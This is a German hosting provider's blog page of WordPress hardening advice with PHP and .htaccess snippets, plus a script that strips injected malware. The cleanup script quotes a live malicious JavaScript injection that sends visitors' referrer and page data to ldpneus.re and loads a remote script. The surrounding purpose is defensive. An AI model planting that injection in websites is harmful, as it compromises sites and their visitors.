WordPress sicherer machen (Gastbeitrag)

Noch ein Gastbeitrag von Heiko Philippski, vielen Dank für die tolle Unterstützung!

WordPress ist mittlerweile eins der beliebtesten und meist installiertesten CMS weltweit. Dieser Umstand stellt Webseitenbetreiber vor ein Problem. Denn je beliebter eine Software ist, desto interessanter wird diese für Hacker. Um so wichtiger ist es dann, dass man sich dem Thema Sicherheit widmet.

Wie schützt man sich vor Hackern / Angreifern?

Eines muss jedoch klar sein. 100% Sicherheit gibt es nicht. Man kann es jedoch Angreifern schwer machen. Je mehr Zeit ein Angreifer investieren muss, um eine Webseite zu knacken, desto wahrscheinlicher ist es, dass der Angreifer sich ein anderes Opfer sucht.
Ziel sollte es also sein, so wenig Informationen wie möglich vorzuenthalten, die ein potentieller Angreifer sich erst hart erarbeiten muss. Aber auch potentielle Hintertüren müssen entdeckt und beseitigt werden.

Dazu gelten folgende Faustregeln:

– Nicht benötigte Plugins und Themes gehören deinstalliert! Durch fehlerhafte Programmierung in Plugins und Themes können Angreifer sich Zugang zur Webseite verschaffen.

– Wenige bis keine Plugins verwenden! So bequem Plugins auch sind und das Leben eines Webmasters erleichtern, sollte man jedoch immer versuchen, auf Plugins zu verzichten. Viele Funktionen liefert WordPress bereits von Haus aus mit. Hier empfiehlt es sich die Dokumentation, Forenbeiträge und Codebeispiele auf WordPress.org zu lesen.

– Geizig mit Rechten von Benutzern sein! Können Webseitenbesuchern sich bei einer Webseite registrieren, sollten die Rechte der Benutzer die niedrigste Stufe haben. Die Standardrolle für registrierte Benutzer sollte daher in WordPress bei den Einstellungen → Allgemein auf Abonnent voreingestellt sein.

– Standardbenutzer „admin“ löschen! Den Benutzer Admin sollte man – nachdem man einen neuen Benutzer mit Adminrechten eingerichtet hat – deaktiviert und gelöscht werden. Vorher sich als Benutzer Admin abmelden und mit dem neuen Benutzer anmelden. Sonnst kann man den Benutzer admin nicht löschen!

– Präfix für Datenbank ändern! Standardmäßig wird von WordPress der Präfix wp_ genutzt. Da dieser Umstand bekannt ist, sollte man diesen nicht verwenden und einen anderen benutzen.

– UPDATES! UPDATES! Halten Sie ihre Software auf den aktuellen Stand und Updaten Sie regelmäßig! Updates beinhalten nicht nur neue Funktionen sondern können auch Fheler und Sicherheitslücken beheben / schließen.

– Gesonderte Mailadresse für Benutzer verwenden! Da WordPress die Anmeldung auch mittels der hinterlegten Mailadresse erlaubt, sollten Sie in Ihrem Benutzerprofil keine Mailadresse verwenden, die irgendwo auf der eigenen Webseite öffentlich zu sehen ist (z.B. im Impressum, Profil oder Kontaktseite -formular. Ansonsten liefern Sie 50% der benötigten Infos, die ein Angreifer benötigt, frei Haus.

– Sichere Passwörter einsetzen! Wem man hier das Thema sichere Passwörter nahelegen muss, sollte es sich noch mal überlegen, eine eigene Webseite zu betreiben. 😉

– Machen Sie regelmäßig Sicherungen ihrer Webseite und der Datenbank! Das muss ich jetzt nicht wirklich weiter ausführen, welche Vorteile Backups / Sicherungen haben. Oder doch? 😉

In den nächsten Abschnitten werden wir die funktiosn.php des genutzten Themes verändern / bearbeiten. Damit diese Änderungen bei einem Update des Themes nicht verloren gehen, sollten Sie ein sogenanntes Child-Theme des genutzten Themes erstellen.
Hierzu gibt es ausreichende Anleitungen im Netz. Hier will ich mal zwei aufzählen:

1. http://www.elmastudio.de/ein-wordpress-child-theme-anlegen-so-gehts-richtig/
2. https://die-netzialisten.de/wordpress/anleitung-childtheme-anlegen-update/

Keine Lieferung von Informationen frei Haus

Wie eingangs erwähnt, sollte man wenig Informationen liefern. Dazu zählen Informationen zur Versionsnummern der eingesetzten Software, sowie die Steuerung von Fehlermeldungen wie sie z.B. auf der Loginseite angezeigt werden.

WordPress gibt im Header der Webseite Informationen über das Verwendete CMS sowie deren Versionsnummer heraus. Diese Infos sollte man vorenthalten. Um diese Ausgabe zu unterdrücken fügen Sie folgenden Code in die functions.php ihres Themes ein:

/** Entfernen der WordPressversionsnr im Header */
remove_action('wp_head', 'wp_generator');

fertig!

Ehrlich gesagt, habe ich nie verstanden, warum WordPress auf der Loginseite Angreifern so behilflich ist. Gibt man einen falschen Benutzernamen ein, erscheint die Fehlermeldung:

„FEHLER: Ungültiger Benutzername.“

Gibt man ein falsches Passwort ein, erscheint die Fehlermeldung:

„FEHLER: Das Passwort, das du für den Benutzernamen HeikoPh eingegeben hast, ist nicht korrekt. „

Wieso machst man so etwas nur? Wieso ist man Angreifern so behilflich und liefert die benötigten Informationen, die man für einen Angriff benötigt.

Auch dies lässt sich mit einem simplen Code in der functions.php abstellen. Einfach folgenden Code dort einfügen:

/** Abschalten von Fehlermeldungen auf der Loginseite */
add_filter('login_errors', create_function('$a', "return null;"));

Und noch so ein Unding hat WordPress. Die Profilseite der Autoren setzt sich aus domain.de/author/LOGINNAME zusammen. Was hat man sich dabei nur gedacht? Auch hier wird mit sensiblen Informationen leichtfertig umgegangen. Diese Funktion hätte schon vor einigen Versionen abgeändert gehört. Aber auch das lässt sich in der funktions.php abändern. Dazu sind jedoch mehrere Zeilen Code nötig.

/** Author-Slug verschleiern und UserNick für Profil nutzen */
 add_filter( 'request', 'wiksec_request' );
 function wiksec_request( $query_vars )
 {
 if ( array_key_exists( 'author_name', $query_vars ) ) {
 global $wpdb;
 $author_id = $wpdb->get_var( $wpdb->prepare( "SELECT user_id FROM {$wpdb->usermeta} WHERE meta_key='nickname' AND meta_value = %s", $query_vars['author_name'] ) );
 if ( $author_id ) {
 $query_vars['author'] = $author_id;
 unset( $query_vars['author_name'] );
 }
 }
 return $query_vars;
 }

add_filter( 'author_link', 'wiksec_author_link', 10, 3 );
 function wiksec_author_link( $link, $author_id, $author_nicename )
 {
 $author_nickname = get_user_meta( $author_id, 'nickname', true );
 if ( $author_nickname ) {
 $link = str_replace( $author_nicename, $author_nickname, $link );
 }
 return $link;
 }

add_action( 'user_profile_update_errors', 'wiksec_set_user_nicename_to_nickname', 10, 3 );
 function wiksec_set_user_nicename_to_nickname( &$errors, $update, &$user )
 {
 if ( ! empty( $user->nickname ) ) {
 $user->user_nicename = sanitize_title( $user->nickname, $user->display_name );
 }
 }

/** Ende ** Author-Slug verschleiern und UserNick für Profil nutzen */

Mit diesem Code wird der Eintrag verwendet, der bei Spitzname eingegeben wurde. Dort können Sie einen beliebigen Namen eintragen (ausgenommen Leer- und Sonderzeichen). Zudem tauscht dieser Code die Verlinkung zu den Autorenseiten aus, bevor die Seite an den Browser der Besucher ausgeliefert wird. Diese Verlinkung finden Sie (je nach Theme) meist unter einem Beitrag beim Namen des Beitragsautors.

– Denkbeispiel bevor Sie den Code verwenden –
Gehen wir mal davon aus, Benutzer admin ist noch vorhanden. Benutzer Admin schreibt einen Blogbeitrag. So ist der Beitragsautor admin. Der Name des Autors „admin“ wurde bisher wie folgt mit dem Autorenprofil verlinkt:

domain.de/author/admin

Nachdem Sie nun den obigen Code eingefügt haben, gehen sie im Backend / Adminbereich zur Benutzerverwaltung und wählen dort den Benutzer „admin“ aus. Dort tragen Sie dann bei Spitznamen z.B. „man-fuer-alles“ ein (Leer- und Sonderzeichen sollen ja nicht benutzt werden!).

Ab sofort wird der Name des Autors „admin“ wie folgt mit dem Autorenprofil verlinkt:

domain.de/author/man-fuer-alles

Für die bisherige Verlinkung domain.de/author/admin wird ab sofort eine Fehlermeldung „Seite nicht gefunden“ herausgegeben. Angreifer gehen dann davon aus, dass der Benutzer „admin“ nicht mehr existiert. So können Sie nun mit allen Benutzern verfahren. Einfach dort bei Spitznamen einen Wert eintragen, der nicht auf den Benutzer-/Anmeldenamen hindeutet.

Deaktivieren des Dateieditors im Adminbereich

Ganz ehrlich? Ich habe diesen Editor noch nie verwendet. Ich habe auf meine Webseiten direkten Zugriff mit SFTP und gesicherten WebDAV. Daher habe ich diesen Editor deaktiviert.

Mit dem Dateieditor kann man im Adminbereich Dateien des Themes bearbeiten. Angreifer könnten diese Funktion nutzen, um Schadcode in einer dieser Dateien einzuschleusen.
Dazu müssen wir die wp-config.php im Hauptverzeichnis / -ordner unserer WordPressinstalltion bearbeiten. Also in der wp-config.php fügen Sie folgende Zeilen hinzu:

/** Deaktivierund des Datei-Editor im WordPress Dashboard */
 define('DISALLOW_FILE_EDIT', true);

Am besten unter den anderen define(‘yx‘) -Anweisungen.

Sicherheitsrisiko xmlrpc.php

Seit der Version 3.5 ist die XMLRPC-Schnittstelle standardmäßig in WordPress aktiviert. Für sich gesehen wäre das nicht weiter schlimm, wäre WordPress nicht das meist eingessetzte Content Management System der Welt. Die XMLRPC-Sschnittstelle stellt nicht nur nützliche Funktionen bereit, sondern ist auch ein beliebtes wichtiges Angriffsziel für Hacker. Immer mehr Angreifer nutzen die xmlrpc.php für ihre Angriffe., da ein Angriff gegen diese Schnittstelle wesentlich effizienter und mit weniger Aufwand als andere Methoden verbunden ist. Die Schnittstelle ist schon ein sehr nützliches Werkzeug. Über ihr lassen dich externe Anwendungen mit WordPress verbinden. Da immer mehr Webmaster ihr WordPress gegen Angriffe absichern, ist die xmlrpc.php ein beliebtes Angriffsziel. Über diese Schnittstelle lassen sich in nur einer Abfrage bis zu 500 Passwörter abfragen. Da die xmlrpc.php auch entsprechende Rückmeldungen herausgibt, ob Benutzername oder Passwort korrekt sind, ist diese Schnittstelle eine sehr bequeme Möglichkeit, schnelle Abfragen abzufragen. Daher stellt die xmlrpc.php ein Sicherheitsrisiko dar.

Um die XMLRPC-Schnittstelle zu deaktivieren muss folgender Code in die funktions.php des Themes hinzugefügt werden:

/* XMLRPC-Schnittstelle deaktivieren */
add_filter( 'xmlrpc_enabled', '__return_false' );

Die Schnittstelle ist nun deaktiviert. Allerdings erscheinen noch Verweise zur Schnittstelle im HTTP-Header der Website. Die Verweise zur xmlrpc.php können wir mit folgenden Code in der funktions.php des Themes deaktivieren:

/* Verweise zur Schnittstelle im HTTP-Header -Eintrag bereinigen */
remove_action('wp_head', 'rsd_link');
remove_action('wp_head', 'wlwmanifest_link');

Sicher und am besten schützt man die xmlrc.php durch blocken per .htaccess.
Dazu einfach folgende Anweisung in die .htaccess der WordPressinstalltion hinzufügen:

<Files xmlrpc.php>
 Order Deny,Allow
 Deny from all
 </Files>

Das ist die radikale Methode. Nutz man jedoch Apps oder Plugins von WordPress, kann die Nutzung der xmlrpc.php statt mit dem vorherigen Anweidungen mit folgenden Zeilen in die .htaccess beschränkt werden (Beispiele mit den meist genutzten Anwendungen):

<IfModule mod_setenvif.c>
 <Files xmlrpc.php>
 BrowserMatch "Poster" allowed
 BrowserMatch "WordPress" allowed
 BrowserMatch "Windows Live Writer" allowed
 BrowserMatch "wp-iphone" allowed
 BrowserMatch "wp-android" allowed
 BrowserMatch "wp-windowsphone" allowed
 Order Deny,Allow
 Deny from All
 Allow from env=allowed
 </Files>
 </IfModule>

Jetzt haben Sie ihre Webseite soweit etwas sicherer und für Angreifer aufwendiger gemacht. 😉

Abzockversuch per Mail: Domain Expiration SEO

Aktuell kursieren wieder gehäuft Mails, die auf den ersten Blick wie eine notwendige Domainverlängerungsaufforderung aussehen, wenn man sich das Kleingedruckte anschaut, schließt man aber eine sinnlose SEO-Optimierung ab, sobald man da bezahlen würde. Wichtig hier auch noch mal der Hinweis, Domains werden bei uns immer automatisch verlängert, solange keine Kündigung eingereicht hat, deshalb die Mails direkt löschen und keinesfalls darauf reagieren.

WordPress – in wenigen Schritten die Sicherheit der Installation erhöhen

Fangen wir bei der WordPress-Installation an:

Datenbankpräfix ändern

Neben den Daten für Datenbank-Benutzer, Datenbank-Namen und DB-Passwort wird auch immer der Datenbank-Präfix abgefragt. Standardmäßig lautet dieser bei WordPress immer „wp_“. Wenn hier zwei andere Zeichen (Buchstaben oder Zahlen) als der Standard „wp_“ eingetragen werden, erschwert das die Einbruchsarbeit erstmal.

Administrator: Name und Passwort

Als nächstes werden die Daten für den Administratornamen und dessen Passwort abgefragt.
Verwenden Sie hier nicht „admin“ oder „administrator“, egal ob groß oder klein geschrieben. Brute-Force-Angriffe werden in der Regel mit Standard-Admin-Namen durchgeführt. Wenn hier andere Namen verwendet werden, erhöht das die Sicherheit ebenfalls beträchtlich.
Zum Admin-Namen gehört das Passwort. Auf keinen Fall ein einfaches Passwort verwenden!
WordPress schlägt bei der Installation und beim Anlegen eines neuen Benutzers immer sichere Passworte vor die man verwenden kann. Diese Passworte sind sicherlich nicht einfach zu merken. Unsere Empfehlung: verwenden Sie einen Passwortmanager für die Passwortverwaltung.
Hier finden Sie weitere Informationen zu Administratornamen und Passworten.

Nach der Grundinstallation von WordPress lässt sich die Sicherheit noch weiter erhöhen:

Zwei-Faktor-Authentifizierung einrichten

Ergänzend zu den o.g. Login-Daten können Sie mit Hilfe von Plugins das Login auf eine Zwei-Faktor-Authentifizierung umstellen.
Dabei wird auf einem zweiten Gerät (z.B. Smartphone) ein weiter Sicherheitsschlüssen generiert, der zusätzlich beim Login abgefragt wird.

Zugriff auf das Verzeichnis wp-admin mit Passwort schützen

Es gibt die Möglichkeit, Verzeichnisse gegen unberechtigten Zugriff zu schützen. Am einfachsten lässt sich das durch die Verwendung eines htaccess-Generators bewerkstelligen. Hier wird ein weiterer Benutzername nebst Passwort vor dem Aufbau der Loginseite abgefragt.
Nähere Informationen dazu finden Sie in diesem Beitrag.

Zugriff auf die xmlrpc.php unterbinden

Zusätzlich zu den oben genannten Maßnahmen sollte der Zugriff auf die xmlrpc.php unterbunden werden.

WordPress mit Zwei-Faktor-Authentifizierung absichern

Wem das Standard-Loginverfahren mit Benutzernamen und und Passwort bei WordPress zu unsicher ist, sollte sich mal die Zwei-Faktor-Authentifizierung näher ansehen.
Hier wird zusätzlich zu den „normalen“ Daten noch ein Schlüssel abgefragt, der auf einem zusätzlichen Device erzeugt wird. Das kann z.B. das eigene Smartphone sein.

Mit Google Authenticatior lässt sich das relativ einfach einrichten.

Sie brauchen:
1. die Google Authenticatior App für das Smartphone: iOS / Android

2. ein WordPress-Plugin (Suchbegriff: Google Authenticator)
(Für diesen Bericht wird das Plugin von Hendrik Schack verwendet)

Zwei-Faktor-Authentifizierung aktivieren und einrichten

Die Zwei-Faktor-Authentifizierung lässt sich für jeden Benutzer einzeln aktivieren. Man sollte auf jeden Fall die administrativen Zugänge damit absichern. Gibt es weitere Benutzer, die für den Content der Seite verantwortlich sind, können diese von der Zwei-Faktor-Authentifizierung ausgenommen werden.

– Öffnen Sie im WordPress-Backend den Bereich Benutzer und wählen dann den Benutzer für den die Zwei-Faktor-Authentifizierung aktiviert werden soll.

 

– In den Benutzer-Einstellungen die Google Authenticator aktivieren, ggf. einen neuen Geheimschlüssel erzeugen und den QR-Code anzeigen lassen.

– Mit dem Smartphone den QR-Code mit der Google Authenticatior App scannen. (Es gibt einen neuen Eintrag mit der Webseite. Die Sicherheitscodes werden alle 30 Sekunden aktualisiert)

– Aktualisieren Sie das Benutzerprofil.

Für diesen Benutzer ist ab sofort die Zwei-Faktor-Authentifizierung aktiviert, auf der Login-Seite wird in einem zusätzlichen Feld der Schlüssel abgefragt.
Benutzer ohne aktivierte Zwei-Faktor-Authentifizierung können das Feld beim Login frei lassen.

…zur Sicherheit…

Zur Sicherheit sollte man seinen Geheimschlüssel notieren und sicher verwahren.
Sollte man seinen Google Authenticator nicht zur Hand haben oder ist die App gelöscht worden, kann man mit diesem Schlüssel einen neuen Google Authenticator mit der Seite verbinden.

Share-Funktion von Jetpack mit reCaptcha vor Spam absichern

Mittlerweile beobachten wir gehäuft Fälle bei Kunden, dass über die Beitrag-Teilen-Funktion von Jetpack für WordPress versucht wird Spam zu versenden, das sieht man an aufgerufenen URL nach dem Muster http://domain.tld/beitrag/?share=email&nb=1. Um den unerwünschten Mailversand zu verhindern, empfiehlt es sich, die Funktion mit reCaptcha html abzusichern. Einfach auf der Seite registrieren, dann erhält man einen öffentlichen und einen geheimen Schlüssel. Diese muß man dann nur noch in der wp-config.php hinterlegen.

define( 'RECAPTCHA_PUBLIC_KEY', 'XXXXXXX' );
define( 'RECAPTCHA_PRIVATE_KEY', 'XXXXXXX' );

Hier findet man auch diese Infos im Original: https://jetpack.com/2013/04/15/recaptcha-email-sharing-button/

Einzelne Installationen durch Quotas trennen

Betreibt man mehrere Webseiten  in einem Account, besteht generell die Gefahr, dass Schadcode von einer Installation auf alle anderen zugreifen kann, auch wenn diese in unterschiedlichen Verzeichnissen liegen. Es gibt allerdings die Möglichkeit, diese komplett voneinander durch Quotas abzusichern. Dafür genügt eine Mail an den Support mit dem Verzeichnispfad, der abgesichert werden soll und die gewünschte Verzeichnisgröße. Um Daten in dieses Verzeichnis zu laden, muß ein eigener FTP-Zugang angelegt werden, der direkt in dieses Verzeichnis zeigt. Gerade für Testinstallationen ist das empfehlenswert, um nicht im Problemfall die Hauptseite zu gefährden.

Identischen Schadcode entfernen

Wenn man eindeutigen und identischen Schadcode aus Dateien entfernen möchte, hilft dieses Skript weiter (Schadcode in Zeile 4 natürlich entsprechend austauschen), Datei als clean.php speichern, ins gewünschte Verzeichnis laden und im Browser aufrufen

<?php

$schadcode = <<<'EOD'
<script>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http://ldpneus.re/js/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "&se_referrer=" + se_referrer + "&source=" + host; var f_url = base + "?c_utt=snt2014&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null && default_keyword !== '' && se_referrer !== null && se_referrer !== ''){document.write('<script type="text/javascript" src="' + f_url + '">' + '<' + '/script>');}</script>
EOD;

exec('find . -type f -name "*.php"', $list);

foreach ($list as $file) {
  $contents = file_get_contents($file);
  if (strpos($contents, $schadcode) !== false) {

    echo 'INFIZIERT: ';
    $contents = str_replace($schadcode, '', $contents);
    $oldSha = sha1_file($file);
    file_put_contents($file, $contents);
    $newSha = sha1_file($file);
    echo basename($file).' - ['.$oldSha.']......PATCHING..... - ['.$newSha.']'."\n";
  }
}

 

 

Warum werden Webseiten überhaupt angegriffen?

Die knappe Antwort: weil es mittlerweile richtig Geld einbringt und eine florierende Schattenwirtschaft darstellt. Dabei sind solche Angriffe mittlerweile sehr simpel zu erledigen, weil es fertige Programme gibt, die automatisiert unzählige Server auf Schwachstellen überprüfen und bei Erfolg direkt die gefundenen Lücken ausnutzen, weitere Software auf den Servern installieren und verstärkt im Anschluß die gefundenen Lücken direkt wieder schließen, damit keine weiteren Angreifer erfolgreich darauf zugreifen können.

Damit hat man in kurzer Zeit ein großes Netzwerk von Servern zur Verfügung, was für verschiedenste Zwecke vermietet wird. Klassische Anwendungsfälle sind Massenversand von Spam-Mails (ja, es gibt immer noch genügend Menschen, die darauf hereinfallen und damit den Versendern Geld einbringen), die Installation von Phising-Seiten, um Zugangsdaten zu Zahlungsanbietern und Banken zu erschleichen und damit betrügerische Überweisungen zu tätigen oder auch einfach die vernetzte Rechenpower zu nutzen, um andere Systeme anzugreifen oder zu überlasten (DDoS).

Außerdem kennen wir auch schon Fälle, wo Trojaner installiert wurden, die bei Besuchern der Webseite aktiv wurden und lokal alle Officedokumente verschlüsselt haben, für die Entsperrung wurden dann Zahlungen per Bitcoin verlangt.

Das ist auch wirklich nur ein grober Überblick über das, was momentan im Netz passiert, erklärt aber hoffentlich, warum man das nicht auf die leichte Schulter nehmen darf und regelmässige schnelle Updates der verwendeten Systeme unabdingbar ist.

Die Zeiten, wo vor allem Skriptkiddies um virtuellen Ruhm und Ehre in ihren Kreisen gekämpft haben und meist nur Webseiten verändert oder zerstört haben, sind auf jeden Fall vorbei.

Verbreitete Irrtümer zur Sicherheit von Webseiten

Erfolgreiche Angriffe auf Webseiten sind leider Alltag und in der Kommunikation mit betroffenen Kunden stoßen wir immer wieder auf Fehleinschätzungen, die wir gern mal etwas näher aufführen möchten, um solche Probleme zukünftig vermeiden zu können:

  1. unsere Webseite ist viel zu klein und unbedeutend, um von Hackern angegriffen zu werden: falsch, da solche Angriffe automatisiert ablaufen und nicht geschaut wird, um welche Seite es sich handelt, sondern nur nach vorhandenen Lücken gesucht wird, werden welche gefunden, werden diese direkt ausgenutzt
  2. ich habe gerade keine Zeit für Updates, nächste Woche sollte dafür doch auch noch ausreichend sein: falsch, zwischen Bekanntwerden einer Lücke und erfolgreichen Angriffen liegen mittlerweile oft nur ein paar Stunden, deshalb sind umgehende Updates Pflicht
  3. ein erfolgreicher Angriff ist doch nicht so schlimm: falsch, bei solchen Angriffen gibt es verschiedene Szenarien, im einfachsten Fall wird nur die Seite an sich geändert (Defacement), das ist mittlerweile aber relativ selten, meist werden Skripte installiert, um Spam zu versenden, andere Systeme anzugreifen (Botnet) oder es werden Phishingseiten installiert. Für alle Schäden, die dadurch verursacht werden, kann man haftbar gemacht werden als Seitenbetreiber. Weitere negative Nebenwirkung ist eine schlechte Reputation bei Google, wenn man als infizierte Webseite gemeldetwurde.
  4. Updates sind für mein verwendetes CMS zu kompliziert, deshalb mache ich das nicht: es gibt natürlich Systeme, wo größere Updates aufwendiger sind, dann sollte man sich aber einen Dienstleister suchen, der sich darauf spezialisiert hat, wir empfehlen da auch gerne kompetente Partner aus unserem Netzwerk, für bestimmte Systeme bieten wir auch einen pauschalen Updateservice an, bei Interesse oder Fragen dazu freuen wir uns auf Ihre Anfrage per Mail oder Telefon.